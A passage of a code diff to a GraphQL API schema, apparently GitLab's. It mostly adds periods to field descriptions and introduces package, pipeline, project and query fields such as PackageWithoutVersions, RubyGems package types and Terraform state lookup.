of the package. + Version string. """ version: String @@ -16872,7 +18029,7 @@ type PackageComposerDetails { Returns the last _n_ elements from the list. """ last: Int - ): PackageConnection + ): PackageWithoutVersionsConnection } """ @@ -16901,21 +18058,6 @@ type PackageComposerJsonType { } """ -Composer metadatum -""" -type PackageComposerMetadatumType { - """ - Data of the Composer JSON file. - """ - composerJson: PackageComposerJsonType! - - """ - Target SHA of the package. - """ - targetSha: String! -} - -""" The connection type for Package. """ type PackageConnection { @@ -16975,7 +18117,7 @@ type PackageFileRegistry { lastSyncedAt: Time """ - ID of the PackageFile + ID of the PackageFile. """ packageFileId: ID! @@ -17031,6 +18173,11 @@ type PackageFileRegistryEdge { } """ +Represents metadata associated with a Package +""" +union PackageMetadata = ComposerMetadata + +""" Namespace-level Package Registry settings """ type PackageSettings { @@ -17138,7 +18285,7 @@ enum PackageTypeEnum { MAVEN """ - Packages from the NPM package manager + Packages from the npm package manager """ NPM @@ -17151,10 +18298,145 @@ enum PackageTypeEnum { Packages from the PyPI package manager """ PYPI + + """ + Packages from the Rubygems package manager + """ + RUBYGEMS +} + +""" +Represents a version of a package in the Package Registry +""" +type PackageWithoutVersions { + """ + Date of creation. + """ + createdAt: Time! + + """ + ID of the package. + """ + id: PackagesPackageID! + + """ + Package metadata. + """ + metadata: PackageMetadata + + """ + Name of the package. + """ + name: String! + + """ + Package type. + """ + packageType: PackageTypeEnum! + + """ + Pipelines that built the package. + """ + pipelines( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): PipelineConnection + + """ + Project where the package is stored. + """ + project: Project! + + """ + Package tags. + """ + tags( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): PackageTagConnection + + """ + Date of most recent update. + """ + updatedAt: Time! + + """ + Version string. + """ + version: String } """ -Identifier of Packages::Package +The connection type for PackageWithoutVersions. +""" +type PackageWithoutVersionsConnection { + """ + A list of edges. + """ + edges: [PackageWithoutVersionsEdge] + + """ + A list of nodes. + """ + nodes: [PackageWithoutVersions] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type PackageWithoutVersionsEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: PackageWithoutVersions +} + +""" +Identifier of Packages::Package. """ scalar PackagesPackageID @@ -17185,49 +18467,49 @@ type PageInfo { type Pipeline { """ - Indicates if the pipeline is active + Indicates if the pipeline is active. """ active: Boolean! """ - Base SHA of the source branch + Base SHA of the source branch. """ beforeSha: String """ - Specifies if a pipeline can be canceled + Specifies if a pipeline can be canceled. """ cancelable: Boolean! """ - Timestamp of the pipeline's commit + Timestamp of the pipeline's commit. """ committedAt: Time """ - Config source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, + Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, - BRIDGE_SOURCE, PARAMETER_SOURCE) + BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE) """ configSource: PipelineConfigSourceEnum """ - Coverage percentage + Coverage percentage. """ coverage: Float """ - Timestamp of the pipeline's creation + Timestamp of the pipeline's creation. """ createdAt: Time! """ - Detailed status of the pipeline + Detailed status of the pipeline. """ detailedStatus: DetailedStatus! """ - Pipelines this pipeline will trigger + Pipelines this pipeline will trigger. """ downstream( """ @@ -17252,27 +18534,27 @@ type Pipeline { ): PipelineConnection """ - Duration of the pipeline in seconds + Duration of the pipeline in seconds. """ duration: Int """ - Timestamp of the pipeline's completion + Timestamp of the pipeline's completion. """ finishedAt: Time """ - ID of the pipeline + ID of the pipeline. """ id: ID! """ - Internal ID of the pipeline + Internal ID of the pipeline. """ iid: String! """ - Jobs belonging to the pipeline + Jobs belonging to the pipeline. """ jobs( """ @@ -17302,37 +18584,37 @@ type Pipeline { ): CiJobConnection """ - Relative path to the pipeline's page + Relative path to the pipeline's page. """ path: String """ - Project the pipeline belongs to + Project the pipeline belongs to. """ project: Project """ - Specifies if a pipeline can be retried + Specifies if a pipeline can be retried. """ retryable: Boolean! """ - Vulnerability and scanned resource counts for each security scanner of the pipeline + Vulnerability and scanned resource counts for each security scanner of the pipeline. """ securityReportSummary: SecurityReportSummary """ - SHA of the pipeline's commit + SHA of the pipeline's commit. """ sha: String! """ - Job where pipeline was triggered from + Job where pipeline was triggered from. """ sourceJob: CiJob """ - Stages of the pipeline + Stages of the pipeline. """ stages( """ @@ -17357,7 +18639,7 @@ type Pipeline { ): CiStageConnection """ - Timestamp when the pipeline was started + Timestamp when the pipeline was started. """ startedAt: Time @@ -17368,17 +18650,17 @@ type Pipeline { status: PipelineStatusEnum! """ - Timestamp of the pipeline's last activity + Timestamp of the pipeline's last activity. """ updatedAt: Time! """ - Pipeline that triggered the pipeline + Pipeline that triggered the pipeline. """ upstream: Pipeline """ - Pipeline user + Pipeline user. """ user: User @@ -17386,61 +18668,66 @@ type Pipeline { Permissions for the current user on the resource """ userPermissions: PipelinePermissions! + + """ + Indicates if a pipeline has warnings. + """ + warnings: Boolean! } type PipelineAnalytics { """ - Labels for the monthly pipeline count + Labels for the monthly pipeline count. """ monthPipelinesLabels: [String!] """ - Total monthly successful pipeline count + Total monthly successful pipeline count. """ monthPipelinesSuccessful: [Int!] """ - Total monthly pipeline count + Total monthly pipeline count. """ monthPipelinesTotals: [Int!] """ - Pipeline times labels + Pipeline times labels. """ pipelineTimesLabels: [String!] """ - Pipeline times + Pipeline times. """ pipelineTimesValues: [Int!] """ - Labels for the weekly pipeline count + Labels for the weekly pipeline count. """ weekPipelinesLabels: [String!] """ - Total weekly successful pipeline count + Total weekly successful pipeline count. """ weekPipelinesSuccessful: [Int!] """ - Total weekly pipeline count + Total weekly pipeline count. """ weekPipelinesTotals: [Int!] """ - Labels for the yearly pipeline count + Labels for the yearly pipeline count. """ yearPipelinesLabels: [String!] """ - Total yearly successful pipeline count + Total yearly successful pipeline count. """ yearPipelinesSuccessful: [Int!] """ - Total yearly pipeline count + Total yearly pipeline count. """ yearPipelinesTotals: [Int!] } @@ -17478,6 +18765,7 @@ type PipelineCancelPayload { enum PipelineConfigSourceEnum { AUTO_DEVOPS_SOURCE BRIDGE_SOURCE + COMPLIANCE_SOURCE EXTERNAL_PROJECT_SOURCE PARAMETER_SOURCE REMOTE_SOURCE @@ -17491,7 +18779,7 @@ The connection type for Pipeline. """ type PipelineConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -17624,12 +18912,12 @@ enum PipelineStatusEnum { type Project { """ - Size limit for the repository in bytes + Size limit for the repository in bytes. """ actualRepositorySizeLimit: Float """ - A single Alert Management alert of the project + A single Alert Management alert of the project. """ alertManagementAlert( """ @@ -17664,7 +18952,7 @@ type Project { ): AlertManagementAlert """ - Counts of alerts by status for the project + Counts of alerts by status for the project. """ alertManagementAlertStatusCounts( """ @@ -17679,7 +18967,7 @@ type Project { ): AlertManagementAlertStatusCountsType """ - Alert Management alerts of the project + Alert Management alerts of the project. """ alertManagementAlerts( """ @@ -17734,7 +19022,7 @@ type Project { ): AlertManagementAlertConnection """ - Integrations which can receive alerts for the project + Integrations which can receive alerts for the project. """ alertManagementIntegrations( """ @@ -17759,28 +19047,43 @@ type Project { ): AlertManagementIntegrationConnection """ + Extract alert fields from payload for custom mapping. + """ + alertManagementPayloadFields( + """ + Sample payload for extracting alert fields for custom mappings. + """ + payloadExample: String! + ): [AlertManagementPayloadAlertField!] + + """ If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge - requests of the project can also be merged with skipped jobs + requests of the project can also be merged with skipped jobs. """ allowMergeOnSkippedPipeline: Boolean """ - Indicates the archived status of the project + API fuzzing configuration for the project. Available only when feature flag `api_fuzzing_configuration_ui` is enabled. + """ + apiFuzzingCiConfiguration: ApiFuzzingCiConfiguration + + """ + Indicates the archived status of the project. """ archived: Boolean """ - Indicates if issues referenced by merge requests and commits within the default branch are closed automatically + Indicates if issues referenced by merge requests and commits within the default branch are closed automatically. """ autocloseReferencedIssues: Boolean """ - URL to avatar image file of the project + URL to avatar image file of the project. """ avatarUrl: String """ - A single board of the project + A single board of the project. """ board( """ @@ -17790,7 +19093,7 @@ type Project { ): Board """ - Boards of the project + Boards of the project. """ boards( """ @@ -17820,12 +19123,12 @@ type Project { ): BoardConnection """ - CI/CD settings for the project + CI/CD settings for the project. """ ciCdSettings: ProjectCiCdSetting """ - Find a single cluster agent by name + Find a single cluster agent by name. """ clusterAgent( """ @@ -17835,7 +19138,7 @@ type Project { ): ClusterAgent """ - Cluster agents associated with the project + Cluster agents associated with the project. """ clusterAgents( """ @@ -17860,12 +19163,12 @@ type Project { ): ClusterAgentConnection """ - Code coverage summary associated with the project + Code coverage summary associated with the project. """ codeCoverageSummary: CodeCoverageSummary """ - Compliance frameworks associated with the project + Compliance frameworks associated with the project. """ complianceFrameworks( """ @@ -17890,17 +19193,17 @@ type Project { ): ComplianceFrameworkConnection """ - The container expiration policy of the project + The container expiration policy of the project. """ containerExpirationPolicy: ContainerExpirationPolicy """ - Indicates if the project stores Docker container images in a container registry + Indicates if the project stores Docker container images in a container registry. """ containerRegistryEnabled: Boolean """ - Container repositories of the project + Container repositories of the project. """ containerRepositories( """ @@ -17927,20 +19230,50 @@ type Project { Filter the container repositories by their name. """ name: String + + """ + Sort container repositories by this criteria. + """ + sort: ContainerRepositorySort = created_desc ): ContainerRepositoryConnection """ - Number of container repositories in the project + Number of container repositories in the project. """ containerRepositoriesCount: Int! """ - Timestamp of the project creation + Timestamp of the project creation. """ createdAt: Time """ - The DAST scanner profiles associated with the project + DAST Profiles associated with the project. Always returns no nodes if `dast_saved_scans` is disabled. + """ + dastProfiles( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): DastProfileConnection + + """ + The DAST scanner profiles associated with the project. """ dastScannerProfiles( """ @@ -17965,7 +19298,7 @@ type Project { ): DastScannerProfileConnection """ - DAST Site Profile associated with the project + DAST Site Profile associated with the project. """ dastSiteProfile( """ @@ -17975,7 +19308,7 @@ type Project { ): DastSiteProfile """ - DAST Site Profiles associated with the project + DAST Site Profiles associated with the project. """ dastSiteProfiles( """ @@ -18000,8 +19333,8 @@ type Project { ): DastSiteProfileConnection """ - DAST Site Validations associated with the project. Will always return no nodes - if `security_on_demand_scans_site_validation` is disabled + DAST Site Validations associated with the project. Always returns no nodes if + `security_on_demand_scans_site_validation` is disabled. """ dastSiteValidations( """ @@ -18031,7 +19364,7 @@ type Project { ): DastSiteValidationConnection """ - Short description of the project + Short description of the project. """ description: String @@ -18041,7 +19374,7 @@ type Project { descriptionHtml: String """ - A single environment of the project + A single environment of the project. """ environment( """ @@ -18061,7 +19394,7 @@ type Project { ): Environment """ - Environments of the project + Environments of the project. """ environments( """ @@ -18101,42 +19434,42 @@ type Project { ): EnvironmentConnection """ - Number of times the project has been forked + Number of times the project has been forked. """ forksCount: Int! """ - Full path of the project + Full path of the project. """ fullPath: ID! """ - Grafana integration details for the project + Grafana integration details for the project. """ grafanaIntegration: GrafanaIntegration """ - Group of the project + Group of the project. """ group: Group """ - URL to connect to the project via HTTPS + URL to connect to the project via HTTPS. """ httpUrlToRepo: String """ - ID of the project + ID of the project. """ id: ID! """ - Status of import background job of the project + Status of import background job of the project. """ importStatus: String """ - Incident Management On-call schedules of the project + Incident Management On-call schedules of the project. """ incidentManagementOncallSchedules( """ @@ -18161,7 +19494,7 @@ type Project { ): IncidentManagementOncallScheduleConnection """ - A single issue of the project + A single issue of the project. """ issue( """ @@ -18266,7 +19599,7 @@ type Project { ): Issue """ - Counts of issues by status for the project + Counts of issues by status for the project. """ issueStatusCounts( """ @@ -18351,7 +19684,7 @@ type Project { ): IssueStatusCountsType """ - Issues of the project + Issues of the project. """ issues( """ @@ -18481,7 +19814,7 @@ type Project { issuesEnabled: Boolean """ - Find iterations + Find iterations. """ iterations( """ @@ -18549,12 +19882,12 @@ type Project { ): IterationConnection """ - Status of Jira import background job of the project + Status of Jira import background job of the project. """ jiraImportStatus: String """ - Jira imports into the project + Jira imports into the project. """ jiraImports( """ @@ -18579,22 +19912,22 @@ type Project { ): JiraImportConnection """ - Indicates if CI/CD pipeline jobs are enabled for the current user + Indicates if CI/CD pipeline jobs are enabled for the current user. """ jobsEnabled: Boolean """ - A label available on this project + A label available on this project. """ label( """ - Title of the label + Title of the label. """ title: String! ): Label """ - Labels available on this project + Labels available on this project. """ labels( """ @@ -18613,28 +19946,33 @@ type Project { first: Int """ + Include labels from ancestor groups. + """ + includeAncestorGroups: Boolean = false + + """ Returns the last _n_ elements from the list. """ last: Int """ - A search term to find labels with + A search term to find labels with. """ searchTerm: String ): LabelConnection """ - Timestamp of the project last activity + Timestamp of the project last activity. """ lastActivityAt: Time """ - Indicates if the project has Large File Storage (LFS) enabled + Indicates if the project has Large File Storage (LFS) enabled. """ lfsEnabled: Boolean """ - A single merge request of the project + A single merge request of the project. """ mergeRequest( """ @@ -18644,7 +19982,7 @@ type Project { ): MergeRequest """ - Merge requests of the project + Merge requests of the project. """ mergeRequests( """ @@ -18741,7 +20079,7 @@ type Project { mergeRequestsFfOnlyEnabled: Boolean """ - Milestones of the project + Milestones of the project. """ milestones( """ @@ -18814,37 +20152,37 @@ type Project { ): MilestoneConnection """ - Name of the project (without namespace) + Name of the project (without namespace). """ name: String! """ - Full name of the project with its namespace + Full name of the project with its namespace. """ nameWithNamespace: String! """ - Namespace of the project + Namespace of the project. """ namespace: Namespace """ - Indicates if merge requests of the project can only be merged when all the discussions are resolved + Indicates if merge requests of the project can only be merged when all the discussions are resolved. """ onlyAllowMergeIfAllDiscussionsAreResolved: Boolean """ - Indicates if merge requests of the project can only be merged with successful jobs + Indicates if merge requests of the project can only be merged with successful jobs. """ onlyAllowMergeIfPipelineSucceeds: Boolean """ - Number of open issues for the project + Number of open issues for the project. """ openIssuesCount: Int """ - Packages of the project + Packages of the project. """ packages( """ @@ -18869,12 +20207,12 @@ type Project { ): PackageConnection """ - Path of the project + Path of the project. """ path: String! """ - Build pipeline of the project + Build pipeline of the project. """ pipeline( """ @@ -18884,12 +20222,12 @@ type Project { ): Pipeline """ - Pipeline analytics + Pipeline analytics. """ pipelineAnalytics: PipelineAnalytics """ - Build pipelines of the project + Build pipelines of the project. """ pipelines( """ @@ -18930,12 +20268,12 @@ type Project { """ Indicates if a link to create or view a merge request should display after a - push to Git repositories of the project from the command line + push to Git repositories of the project from the command line. """ printingMergeRequestLinkEnabled: Boolean """ - Members of the project + Members of the project. """ projectMembers( """ @@ -18970,12 +20308,12 @@ type Project { ): MemberInterfaceConnection """ - Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts + Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts. """ publicJobs: Boolean """ - A single release of the project + A single release of the project. """ release( """ @@ -18985,7 +20323,7 @@ type Project { ): Release """ - Releases of the project + Releases of the project. """ releases( """ @@ -19015,27 +20353,27 @@ type Project { ): ReleaseConnection """ - Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project + Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project. """ removeSourceBranchAfterMerge: Boolean """ - Git repository of the project + Git repository of the project. """ repository: Repository """ - Size of repository that exceeds the limit in bytes + Size of repository that exceeds the limit in bytes. """ repositorySizeExcess: Float """ - Indicates if users can request member access to the project + Indicates if users can request member access to the project. """ requestAccessEnabled: Boolean """ - Find a single requirement + Find a single requirement. """ requirement( """ @@ -19054,6 +20392,11 @@ type Project { iids: [ID!] """ + The state of latest requirement test report. + """ + lastTestReportState: TestReportState + + """ Search query for requirement title. """ search: String @@ -19070,12 +20413,12 @@ type Project { ): Requirement """ - Number of requirements for the project by their state + Number of requirements for the project by their state. """ requirementStatesCount: RequirementStatesCount """ - Find requirements + Find requirements. """ requirements( """ @@ -19114,6 +20457,11 @@ type Project { last: Int """ + The state of latest requirement test report. + """ + lastTestReportState: TestReportState + + """ Search query for requirement title. """ search: String @@ -19130,22 +20478,22 @@ type Project { ): RequirementConnection """ - SAST CI configuration for the project + SAST CI configuration for the project. """ sastCiConfiguration: SastCiConfiguration """ - Path to project's security dashboard + Path to project's security dashboard. """ securityDashboardPath: String """ - Information about security analyzers used in the project + Information about security analyzers used in the project. """ securityScanners: SecurityScanners """ - Detailed version of a Sentry error on the project + Detailed version of a Sentry error on the project. """ sentryDetailedError( """ @@ -19155,7 +20503,7 @@ type Project { ): SentryDetailedError """ - Paginated collection of Sentry errors on the project + Paginated collection of Sentry errors on the project. """ sentryErrors: SentryErrorCollection @@ -19170,7 +20518,7 @@ type Project { serviceDeskEnabled: Boolean """ - Project services + Project services. """ services( """ @@ -19205,12 +20553,12 @@ type Project { ): ServiceConnection """ - Indicates if shared runners are enabled for the project + Indicates if shared runners are enabled for the project. """ sharedRunnersEnabled: Boolean """ - Snippets of the project + Snippets of the project. """ snippets( """ @@ -19250,37 +20598,47 @@ type Project { snippetsEnabled: Boolean """ - Indicates if squash readonly is enabled + Indicates if `squashReadOnly` is enabled. """ squashReadOnly: Boolean! """ - URL to connect to the project via SSH + URL to connect to the project via SSH. """ sshUrlToRepo: String """ - Number of times the project has been starred + Number of times the project has been starred. """ starCount: Int! """ - Statistics of the project + Statistics of the project. """ statistics: ProjectStatistics """ - The commit message used to apply merge request suggestions + The commit message used to apply merge request suggestions. """ suggestionCommitMessage: String """ - List of project topics (not Git tags) + List of project topics (not Git tags). """ tagList: String """ - Terraform states associated with the project + Find a single Terraform state by name. + """ + terraformState( + """ + Name of the Terraform state. + """ + name: String! + ): TerraformState + + """ + Terraform states associated with the project. """ terraformStates( """ @@ -19310,12 +20668,12 @@ type Project { userPermissions: ProjectPermissions! """ - Visibility of the project + Visibility of the project. """ visibility: String """ - Vulnerabilities reported on the project + Vulnerabilities reported on the project. """ vulnerabilities( """ @@ -19380,7 +20738,7 @@ type Project { ): VulnerabilityConnection """ - Number of vulnerabilities per day for the project + Number of vulnerabilities per day for the project. """ vulnerabilitiesCountByDay( """ @@ -19415,7 +20773,7 @@ type Project { ): VulnerabilitiesCountByDayConnection """ - Vulnerability scanners reported on the project vulnerabilties + Vulnerability scanners reported on the project vulnerabilities. """ vulnerabilityScanners( """ @@ -19440,7 +20798,7 @@ type Project { ): VulnerabilityScannerConnection """ - Counts for each vulnerability severity in the project + Counts for each vulnerability severity in the project. """ vulnerabilitySeveritiesCount( """ @@ -19470,7 +20828,7 @@ type Project { ): VulnerabilitySeveritiesCount """ - Web URL of the project + Web URL of the project. """ webUrl: String @@ -19538,7 +20896,7 @@ type ProjectEdge { } """ -Identifier of Project +Identifier of Project. """ scalar ProjectID @@ -19547,42 +20905,42 @@ Represents a Project Membership """ type ProjectMember implements MemberInterface { """ - GitLab::Access level + GitLab::Access level. """ accessLevel: AccessLevel """ - Date and time the membership was created + Date and time the membership was created. """ createdAt: Time """ - User that authorized membership + User that authorized membership. """ createdBy: User """ - Date and time the membership expires + Date and time the membership expires. """ expiresAt: Time """ - ID of the member + ID of the member. """ id: ID! """ - Project that User is a member of + Project that User is a member of. """ project: Project """ - Date and time the membership was last updated + Date and time the membership was last updated. """ updatedAt: Time """ - User that is associated with the member object + User that is associated with the member object. """ user: User! @@ -19866,47 +21224,47 @@ type ProjectPermissions { type ProjectStatistics { """ - Build artifacts size of the project in bytes + Build artifacts size of the project in bytes. """ buildArtifactsSize: Float! """ - Commit count of the project + Commit count of the project. """ commitCount: Float! """ - Large File Storage (LFS) object size of the project in bytes + Large File Storage (LFS) object size of the project in bytes. """ lfsObjectsSize: Float! """ - Packages size of the project in bytes + Packages size of the project in bytes. """ packagesSize: Float! """ - Repository size of the project in bytes + Repository size of the project in bytes. """ repositorySize: Float! """ - Snippets size of the project in bytes + Snippets size of the project in bytes. """ snippetsSize: Float """ - Storage size of the project in bytes + Storage size of the project in bytes. """ storageSize: Float! """ - Uploads size of the project in bytes + Uploads size of the project in bytes. """ uploadsSize: Float """ - Wiki size of the project in bytes + Wiki size of the project in bytes. """ wikiSize: Float } @@ -19916,12 +21274,12 @@ The alert condition for Prometheus """ type PrometheusAlert { """ - The human-readable text of the alert condition + The human-readable text of the alert condition. """ humanizedText: String! """ - ID of the alert condition + ID of the alert condition. """ id: ID! } @@ -20052,7 +21410,7 @@ type PrometheusIntegrationUpdatePayload { } """ -Identifier of PrometheusService +Identifier of PrometheusService. """ scalar PrometheusServiceID @@ -20108,6 +21466,11 @@ type PromoteToEpicPayload { type Query { """ + CI related settings that apply to the entire instance. + """ + ciApplicationSettings: CiApplicationSettings + + """ Get linted and processed contents of a CI config. Should not be requested more than once per request. """ ciConfig( @@ -20128,27 +21491,27 @@ type Query { ): CiConfig """ - Find a container repository + Find a container repository. """ containerRepository( """ - The global ID of the container repository + The global ID of the container repository. """ id: ContainerRepositoryID! ): ContainerRepositoryDetails """ - Get information about current user + Get information about current user. """ currentUser: User """ - Fields related to design management + Fields related to design management. """ designManagement: DesignManagement! """ - Get configured DevOps adoption segments on the instance + Get configured DevOps adoption segments on the instance. """ devopsAdoptionSegments( """ @@ -20173,7 +21536,7 @@ type Query { ): DevopsAdoptionSegmentConnection """ - Text to echo back + Text to echo back. """ echo( """ @@ -20183,7 +21546,7 @@ type Query { ): String! """ - Find a Geo node + Find a Geo node. """ geoNode( """ @@ -20193,7 +21556,7 @@ type Query { ): GeoNode """ - Find a group + Find a group. """ group( """ @@ -20203,12 +21566,12 @@ type Query { ): Group """ - Fields related to Instance Security Dashboard + Fields related to Instance Security Dashboard. """ instanceSecurityDashboard: InstanceSecurityDashboard """ - Get statistics on the instance + Get statistics on the instance. """ instanceStatisticsMeasurements( """ @@ -20248,42 +21611,42 @@ type Query { ): InstanceStatisticsMeasurementConnection """ - Find an issue + Find an issue. """ issue( """ - The global ID of the Issue + The global ID of the Issue. """ id: IssueID! ): Issue """ - Find an iteration + Find an iteration. """ iteration( """ - Find an iteration by its ID + Find an iteration by its ID. """ id: IterationID! ): Iteration """ - Metadata about GitLab + Metadata about GitLab. """ metadata: Metadata """ - Find a milestone + Find a milestone. """ milestone( """ - Find a milestone by its ID + Find a milestone by its ID. """ id: MilestoneID! ): Milestone """ - Find a namespace + Find a namespace. """ namespace( """ @@ -20293,17 +21656,17 @@ type Query { ): Namespace """ - Find a composer package + Find a package. """ - packageComposerDetails( + package( """ The global ID of the package. """ id: PackagesPackageID! - ): PackageComposerDetails + ): Package """ - Find a project + Find a project. """ project( """ @@ -20313,7 +21676,7 @@ type Query { ): Project """ - Find projects visible to the current user + Find projects visible to the current user. """ projects( """ @@ -20363,7 +21726,7 @@ type Query { ): ProjectConnection """ - Supported runner platforms + Supported runner platforms. """ runnerPlatforms( """ @@ -20388,7 +21751,7 @@ type Query { ): RunnerPlatformConnection """ - Get runner setup instructions + Get runner setup instructions. """ runnerSetup( """ @@ -20413,7 +21776,7 @@ type Query { ): RunnerSetup """ - Find Snippets visible to the current user + Find Snippets visible to the current user. """ snippets( """ @@ -20468,7 +21831,7 @@ type Query { ): SnippetConnection """ - Find a user + Find a user. """ user( """ @@ -20483,7 +21846,7 @@ type Query { ): User """ - Find users + Find users. """ users( """ @@ -20533,7 +21896,7 @@ type Query { ): UserConnection """ - Vulnerabilities reported on projects on the current user's instance security dashboard + Vulnerabilities reported on projects on the current user's instance security dashboard. """ vulnerabilities( """ @@ -20598,7 +21961,7 @@ type Query { ): VulnerabilityConnection """ - Number of vulnerabilities per day for the projects on the current user's instance security dashboard + Number of vulnerabilities per day for the projects on the current user's instance security dashboard. """ vulnerabilitiesCountByDay( """ @@ -20634,7 +21997,7 @@ type Query { """ Number of vulnerabilities per severity level, per day, for the projects on the - current user's instance security dashboard Deprecated in 13.3: Use + current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`. """ vulnerabilitiesCountByDayAndSeverity( @@ -20670,11 +22033,11 @@ type Query { ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.") """ - Find a vulnerability + Find a vulnerability. """ vulnerability( """ - The Global ID of the Vulnerability + The Global ID of the Vulnerability. """ id: VulnerabilityID! ): Vulnerability @@ -20710,27 +22073,27 @@ Represents a release """ type Release { """ - Assets of the release + Assets of the release. """ assets: ReleaseAssets """ - User that created the release + User that created the release. """ author: User """ - The commit associated with the release + The commit associated with the release. """ commit: Commit """ - Timestamp of when the release was created + Timestamp of when the release was created. """ createdAt: Time """ - Description (also known as "release notes") of the release + Description (also known as "release notes") of the release. """ description: String @@ -20740,7 +22103,7 @@ type Release { descriptionHtml: String """ - Evidence for the release + Evidence for the release. """ evidences( """ @@ -20765,12 +22128,12 @@ type Release { ): ReleaseEvidenceConnection """ - Links of the release + Links of the release. """ links: ReleaseLinks """ - Milestones associated to the release + Milestones associated to the release. """ milestones( """ @@ -20795,27 +22158,27 @@ type Release { ): MilestoneConnection """ - Name of the release + Name of the release. """ name: String """ - Timestamp of when the release was released + Timestamp of when the release was released. """ releasedAt: Time """ - Name of the tag associated with the release + Name of the tag associated with the release. """ tagName: String """ - Relative web path to the tag associated with the release + Relative web path to the tag associated with the release. """ tagPath: String """ - Indicates the release is an upcoming release + Indicates the release is an upcoming release. """ upcomingRelease: Boolean } @@ -20825,32 +22188,32 @@ Represents an asset link associated with a release """ type ReleaseAssetLink { """ - Direct asset URL of the link + Direct asset URL of the link. """ directAssetUrl: String """ - Indicates the link points to an external resource + Indicates the link points to an external resource. """ external: Boolean """ - ID of the link + ID of the link. """ id: ID! """ - Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other` + Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`. """ linkType: ReleaseAssetLinkType """ - Name of the link + Name of the link. """ name: String """ - URL of the link + URL of the link. """ url: String } @@ -20895,22 +22258,22 @@ Fields that are available when modifying a release asset link """ input ReleaseAssetLinkInput { """ - Relative path for a direct asset link + Relative path for a direct asset link. """ directAssetPath: String """ - The type of the asset link + The type of the asset link. """ linkType: ReleaseAssetLinkType = OTHER """ - Name of the asset link + Name of the asset link. """ name: String! """ - URL of the asset link + URL of the asset link. """ url: String! } @@ -20945,12 +22308,12 @@ A container for all assets associated with a release """ type ReleaseAssets { """ - Number of assets of the release + Number of assets of the release. """ count: Int """ - Asset links of the release + Asset links of the release. """ links( """ @@ -20975,7 +22338,7 @@ type ReleaseAssets { ): ReleaseAssetLinkConnection """ - Sources of the release + Sources of the release. """ sources( """ @@ -21005,7 +22368,7 @@ Fields that are available when modifying release assets """ input ReleaseAssetsInput { """ - A list of asset links to associate to the release + A list of asset links to associate to the release. """ links: [ReleaseAssetLinkInput!] } @@ -21015,7 +22378,7 @@ The connection type for Release. """ type ReleaseConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -21165,22 +22528,22 @@ Evidence for a release """ type ReleaseEvidence { """ - Timestamp when the evidence was collected + Timestamp when the evidence was collected. """ collectedAt: Time """ - URL from where the evidence can be downloaded + URL from where the evidence can be downloaded. """ filepath: String """ - ID of the evidence + ID of the evidence. """ id: ID! """ - SHA1 ID of the evidence hash + SHA1 ID of the evidence hash. """ sha: String } @@ -21222,37 +22585,37 @@ type ReleaseEvidenceEdge { type ReleaseLinks { """ - HTTP URL of the issues page, filtered by this release and `state=closed` + HTTP URL of the issues page, filtered by this release and `state=closed`. """ closedIssuesUrl: String """ - HTTP URL of the merge request page , filtered by this release and `state=closed` + HTTP URL of the merge request page , filtered by this release and `state=closed`. """ closedMergeRequestsUrl: String """ - HTTP URL of the release's edit page + HTTP URL of the release's edit page. """ editUrl: String """ - HTTP URL of the merge request page , filtered by this release and `state=merged` + HTTP URL of the merge request page , filtered by this release and `state=merged`. """ mergedMergeRequestsUrl: String """ - HTTP URL of the issues page, filtered by this release and `state=open` + HTTP URL of the issues page, filtered by this release and `state=open`. """ openedIssuesUrl: String """ - HTTP URL of the merge request page, filtered by this release and `state=open` + HTTP URL of the merge request page, filtered by this release and `state=open`. """ openedMergeRequestsUrl: String """ - HTTP URL of the release + HTTP URL of the release. """ selfUrl: String } @@ -21287,12 +22650,12 @@ Represents the source code attached to a release in a particular format """ type ReleaseSource { """ - Format of the source + Format of the source. """ format: String """ - Download URL of the source + Download URL of the source. """ url: String } @@ -21407,7 +22770,7 @@ input RemoveAwardEmojiInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -21477,7 +22840,7 @@ input RepositionImageDiffNoteInput { id: DiffNoteID! """ - The position of this note on a diff + The position of this note on a diff. """ position: UpdateDiffImagePositionInput! } @@ -21504,22 +22867,22 @@ type RepositionImageDiffNotePayload { type Repository { """ - Indicates repository has no visible content + Indicates repository has no visible content. """ empty: Boolean! """ - Indicates a corresponding Git repository exists on disk + Indicates a corresponding Git repository exists on disk. """ exists: Boolean! """ - Default branch of the repository + Default branch of the repository. """ rootRef: String """ - Tree of the repository + Tree of the repository. """ tree( """ @@ -21544,17 +22907,17 @@ Represents a requirement """ type Requirement { """ - Author of the requirement + Author of the requirement. """ author: User! """ - Timestamp of when the requirement was created + Timestamp of when the requirement was created. """ createdAt: Time! """ - Description of the requirement + Description of the requirement. """ description: String @@ -21564,37 +22927,37 @@ type Requirement { 